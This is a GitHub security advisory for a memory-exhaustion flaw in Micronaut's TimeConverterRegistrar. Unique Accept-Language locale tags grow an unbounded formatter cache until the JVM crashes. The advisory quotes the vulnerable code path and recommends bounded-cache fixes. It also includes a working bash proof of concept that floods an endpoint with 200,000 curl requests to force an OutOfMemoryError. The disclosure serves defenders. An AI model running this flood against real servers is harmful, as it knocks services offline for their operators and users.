Skip to content

Micronaut has unbounded `formattersCache` in `TimeConverterRegistrar` that Allows Memory Exhaustion via `Accept-Language` Header

High severity GitHub Reviewed Published Apr 28, 2026 in micronaut-projects/micronaut-core • Updated May 13, 2026

Package

maven io.micronaut:micronaut-context (Maven)

Affected versions

>= 4.3.0, < 4.10.22

Patched versions

4.10.22

Description

Summary

TimeConverterRegistrar caches DateTimeFormatter instances in an unbounded ConcurrentHashMap<String, DateTimeFormatter> whose key is derived from the @Format annotation pattern concatenated with the locale from the HTTP Accept-Language header. Because Locale.forLanguageTag() accepts arbitrary BCP 47 private-use extensions (en-x-a001, en-x-a002, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This is structurally identical to the recently patched GHSA-2hcp-gjrf-7fhc (DefaultHtmlErrorResponseBodyProvider), but TimeConverterRegistrar.formattersCache was not covered by that fix.

Details

The vulnerable cache is declared in context/src/main/java/io/micronaut/runtime/converters/time/TimeConverterRegistrar.java at line 123:

// TimeConverterRegistrar.java:123
private final Map<String, DateTimeFormatter> formattersCache = new ConcurrentHashMap<>();

The getFormatter method at line 434 inserts into this map with no eviction or size limit:

// TimeConverterRegistrar.java:434-443
private DateTimeFormatter getFormatter(String pattern, ConversionContext context) {
    var key = pattern + context.getLocale();        // locale from Accept-Language header
    var cachedFormatter = formattersCache.get(key);
    if (cachedFormatter != null) {
        return cachedFormatter;
    }
    var formatter = DateTimeFormatter.ofPattern(pattern, context.getLocale());
    formattersCache.put(key, formatter);            // NO SIZE CHECK — unbounded growth
    return formatter;
}

The attacker-controlled locale flows into the cache key through this call chain:

  1. HTTP header parsedHttpHeaders.findAcceptLanguage() at http/src/main/java/io/micronaut/http/HttpHeaders.java:766-771 calls Locale.forLanguageTag(part) directly on the raw Accept-Language value:
// HttpHeaders.java:766-771
default Optional<Locale> findAcceptLanguage() {
    return findFirst(HttpHeaders.ACCEPT_LANGUAGE)
        .map(text -> {
            String part = HttpHeadersUtil.splitAcceptHeader(text);
            return part == null ? Locale.getDefault() : Locale.forLanguageTag(part);
        });
}
  1. Locale planted in ConversionContextAbstractRouteMatch.newContext() at router/src/main/java/io/micronaut/web/router/AbstractRouteMatch.java:373-378 passes the request locale into the conversion context for every route argument binding:
// AbstractRouteMatch.java:373-378
private <E> ArgumentConversionContext<E> newContext(Argument<E> argument, HttpRequest<?> request) {
    return ConversionContext.of(
        argument,
        request.getLocale().orElse(null),   // ← attacker-controlled via Accept-Language
        request.getCharacterEncoding()
    );
}
  1. Unbounded cache insert — When any temporal argument annotated with @Format is bound, TimeConverterRegistrar.getFormatter(pattern, context) is called and inserts a new DateTimeFormatter for each unique pattern + locale key.

This path is triggered for any route endpoint with a @Format-annotated temporal parameter. This is an officially documented and commonly used Micronaut pattern, demonstrated in the framework's own test suite:

// test-suite/.../BindingController.java:105 (official Micronaut example)
@Get("/dateFormat")
public String dateFormat(@Format("dd/MM/yyyy hh:mm:ss a z") @Header ZonedDateTime date) {
    return date.toString();
}

TimeConverterRegistrar is an @Internal core bean registered unconditionally in every Micronaut application — it is not optional or user-configured. By contrast, the DefaultHtmlErrorResponseBodyProvider cache patched in GHSA-2hcp-gjrf-7fhc now uses a ConcurrentLinkedHashMap bounded at 100 entries; TimeConverterRegistrar.formattersCache remains an unbounded plain ConcurrentHashMap.

PoC

Against any Micronaut application exposing an endpoint with a @Format-annotated temporal parameter:

# Flood the formattersCache with unique locale-derived keys
for i in $(seq 1 200000); do
  curl -s -o /dev/null \
    -H "Accept-Language: en-x-$(printf '%06d' $i)" \
    -H "date: 01/01/2024 12:00:00 AM UTC" \
    "http://localhost:8080/dateFormat" &
  # Throttle to avoid socket exhaustion
  [ $((i % 500)) -eq 0 ] && wait
done
wait
# Server will throw OutOfMemoryError after enough unique locale entries accumulate

Each request with a novel en-x-XXXXXX private-use tag inserts a new DateTimeFormatter entry into the unbounded map. Each DateTimeFormatter (with locale metadata) occupies roughly 2–10 KB on the heap. At 100,000 unique entries, the map alone can consume ~500 MB; at 500,000 entries the JVM typically crashes with OutOfMemoryError: Java heap space.

Impact

  • An unauthenticated attacker can crash any Micronaut server that exposes at least one endpoint with a @Format-annotated temporal type parameter — a documented, first-class framework feature.
  • Memory grows linearly with the number of unique Accept-Language values sent. The BCP 47 private-use namespace (en-x-ANYTHING) provides millions of distinct valid locale strings.
  • No credentials, special permissions, or exploitation of application logic are required — only the ability to send HTTP requests with custom headers.
  • TimeConverterRegistrar is active in all Micronaut HTTP server applications by default; no special configuration is needed to be vulnerable.

Recommended Fix

Apply the same fix pattern used for GHSA-2hcp-gjrf-7fhc: replace the unbounded ConcurrentHashMap with a bounded ConcurrentLinkedHashMap:

// In TimeConverterRegistrar.java — replace line 123
import io.micronaut.core.util.clhm.ConcurrentLinkedHashMap;

private static final int MAX_FORMATTERS_CACHE_SIZE = 100;

private final Map<String, DateTimeFormatter> formattersCache =
    new ConcurrentLinkedHashMap.Builder<String, DateTimeFormatter>()
        .maximumWeightedCapacity(MAX_FORMATTERS_CACHE_SIZE)
        .build();

Alternatively, since @Format pattern values come from static annotations (a bounded, compile-time set), the locale should be excluded from the cache key and applied at use-time instead:

// In getFormatter() — cache only by pattern, apply locale at use-time
private DateTimeFormatter getFormatter(String pattern, ConversionContext context) {
    DateTimeFormatter base = formattersCache.computeIfAbsent(
        pattern, p -> DateTimeFormatter.ofPattern(p)
    );
    Locale locale = context.getLocale();
    return locale != null ? base.withLocale(locale) : base;
}

This second approach bounds the cache by the number of distinct @Format patterns in the application, which is always small and finite, fully eliminating the attack surface.

References

Published to the GitHub Advisory Database May 6, 2026
Reviewed May 6, 2026
Published by the National Vulnerability Database May 12, 2026
Last updated May 13, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

CVE ID

CVE-2026-44241

GHSA ID

GHSA-8hjv-92q9-g4xj

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.